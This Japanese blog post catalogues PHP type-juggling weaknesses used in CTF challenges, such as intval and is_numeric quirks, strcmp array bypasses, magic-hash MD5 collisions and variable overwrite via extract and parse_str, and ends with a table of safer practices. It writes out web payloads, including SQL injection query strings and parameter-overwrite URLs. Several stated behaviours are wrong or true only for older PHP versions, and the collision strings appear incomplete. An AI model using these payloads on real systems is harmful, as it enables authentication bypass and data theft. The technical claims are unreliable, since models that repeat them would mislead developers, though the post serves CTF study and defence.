PHPの型変換と比較処理におけるCTF脆弱性パターン

1. intval()関数の型変換挙動

PHPのintval()は文字列を整数に変換する際、特定のパターンで停止位置が異なる特性を持つ。特にbaseパラメータが0の場合、接頭辞に応じて自動で進数を判定する。

<?php
// 8進数・16進数による回避
var_dump(intval("012"));    // 10 (8進数として解釈)
var_dump(intval("0xA"));    // 10 (16進数として解釈)

// 小数点以下の切り捨て
var_dump(intval("3.9"));   // 3 (四捨五入ではなく切り捨て)

// 文字列連結
var_dump(intval("3abc"));  // 3 (数値部分のみ変換)

// ビット演算
var_dump(intval(~~10));    // 10 (2回否定で元に戻る)

// 演算式
var_dump(intval(5+5));     // 10
var_dump(intval(2*5));     // 10
?>

PHP 7.0.9以前では科学記数法に特殊な挙動がある。intval("1e2")は1を返すが、intval("1e2"+1)は101を返す。この差異を利用して範囲チェックを回避できる。

<?php
// PHP <= 7.0.9 の場合
$input = "1e2";  // 100と解釈されるがintvalでは1
// intval($num) > 2020 && intval($num) < 2021 のようなチェックを回避
?>

また、正符号と空白文字の無視も特徴的。intval("+ 244")やintval(" +244")はいずれも244を返す。

2. is_numeric()の判定境界

is_numeric()は数値文字列かどうかを判定するが、PHPのバージョンや文脈で挙動が変わる。

<?php
// 数値+文字列の組み合わせ
$key = "2024a";
var_dump(is_numeric($key));  // false
var_dump($key > 2023);       // true (比較時に数値変換)

// PHP < 7.0 の16進数
var_dump(is_numeric('0x2')); // true (PHP5), false (PHP7+)

// 科学記数法との組み合わせ
$time = "7e6";  // 7000000
// is_numeric()はtrue、 (int)変換は7000000
?>

3. strcmp()の型の不整合

strcmp()は文字列専用の比較関数であり、配列を渡すとNULLを返す。PHPの緩い比較ではNULL == 0が成立する。

<?php
$secret = "unknown_flag_value";
// ?a[]=anything として配列を送信
if (strcmp($_GET['a'], $secret) == 0) {
    echo "flag{compared}";
}
?>

4. ハッシュ関数の衝突と型比較

弱い比較(==)

MD5ハッシュが0eで始まり、その後が純粋な数字となる入力値を見つけることで、科学記数法として0と解釈される。

<?php
// 0e462097431906509019562988736854 == 0e830400451993494058024219903391
// 両方とも float(0) として比較される
$targets = [
    '240610708' => '0e462097431906509019562988736854',
    'QNKCDZO'   => '0e830400451993494058024219903391',
    's878926199a' => '0e545993274517709034328855841020'
];
?>

探索スクリプト(Python):

import hashlib

def find_zero_e(prefix: str = "0e", limit: int = 10**9):
    for candidate in range(1, limit):
        text = str(candidate)
        digest = hashlib.md5(text.encode()).hexdigest()
        if digest.startswith(prefix) and digest[2:].isdigit():
            print(f"Found: {text} -> {digest}")
            return

find_zero_e()

強い比較(===)

厳密な比較では配列を利用したNULL一致が有効。また、実際のMD5衝突ペアを生成することも可能。

<?php
// 配列による回避
$a = [0 => 1];
$b = [0 => 2];
var_dump(md5($a) === md5($b));  // NULL === NULL で true

// fastcoll等で生成した衝突バイナリ(URLエンコード済み)
$collision1 = "%4d%C9%68%FF%0E%E3%5C%20%95%72%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2";
$collision2 = "%4d%C9%68%FF%0E%E3%5C%20%95%72%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2";
?>

5. JSONデコード後の型変換

json_decode()はJSON文字列をPHPオブジェクトに変換する。数値と文字列の緩い比較を狙う。

<?php
$json = '{"key": 0}';
$obj = json_decode($json);
$hidden = "secret_admin_key";

// 0 == "secret_admin_key" が true
if ($obj->key == $hidden) {
    echo "flag{json_bypass}";
}
?>

6. 動的変数生成による変数上書き

parse_str()の副作用

<?php
$protected = "original";
// ?data=protected=hacked
parse_str($_GET['data']);
echo $protected;  // "hacked"
?>

extract()の上書き

>?php
$file_path = 'sensitive.txt';
// ?file_path=empty.txt&guess=
extract($_GET);
$content = file_get_contents($file_path);
// $file_pathが上書きされ、$guessも空で一致
?>

二重ドル記号($$)

<?php
$admin_name = "root";
foreach ($_GET as $outer => $inner) {
    $$outer = $inner;  // $admin_name = 送信値
}
// ?admin_name=guest で上書き
echo $admin_name;
?>

7. in_array()の型変換

第3引数を省略すると緩い比較が行われ、文字列が数値に変換される。

<?php
$whitelist = [1, 2, 3, 4, 5];
// ?id=1' OR '1'='1
// "1' OR '1'='1" が数値1に変換されて比較
if (in_array($_GET['id'], $whitelist)) {
    $query = "SELECT * FROM records WHERE id = '{$_GET['id']}'";
}
?>

8. レガシー関数の脆弱性

ereg/eregiのNULLバイト問題

<?php
// %00 でパターン一致を打ち切る
// ?pass=admin%00' UNION SELECT * FROM admins--
if (ereg("^[a-zA-Z0-9_]+$", $_GET['pass'])) {
    // 検証を通過後にSQLインジェクション
}
?>

9. 実用的な検証パターン

関数安全な使用方法
intval()範囲チェックは変換後ではなく変換前に実施
is_numeric()ctype_digit()や正規表現で後続検証
strcmp()=== で厳密比較、配列入力の拒否
md5/sha1hash_equals() または === で比較
in_array()第3引数にtrueを指定
extract/parse_strユーザー入力を直接渡さない

タグ: PHP CTF 型変換 MD5衝突 SQLインジェクション

10月3日 17:07 投稿